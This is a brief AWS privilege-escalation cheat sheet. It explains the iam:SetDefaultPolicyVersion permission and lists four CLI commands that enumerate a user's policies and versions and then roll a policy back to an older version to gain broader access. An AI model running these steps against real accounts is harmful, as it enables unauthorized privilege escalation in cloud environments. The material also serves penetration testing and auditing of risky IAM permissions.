# IAM Policy Rollback

## Dangerous Permission: iam:SetDefaultPolicyVersion

### iam:SetDefaultPolicyVersion is a potentially dangerous permission that AWS caution about using. A threat actor possessing this permission could potentially increase their access level by leveraging unused versions of existing policies. A threat actor with this permission would be able to switch the default policy to any other versions and potentially escalate their privileges. This is a simple example of direct self-escalation, with the identity being able to modify its own rights, depending on the permissions contained within other policy versions.

### Commands:

#### 1) List directly attached policies on our user

```
aws iam list-attached-user-policies --user-name USERNAME 
```

#### 2) List versions of a specific policy

```
aws iam list-policy-versions --policy-arn POLICY_ARN 
```

#### 3) Get a specific version of our chosen policy

```
aws iam get-policy-version --policy-arn POLICY_ARN --version-id vNUM 
```

#### 4) Here we abuse the dangerous privilege to rollback to our desired policy version to gain further access to AWS resources or do Privilege Escalation

```
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME --version-id vNUM 
```
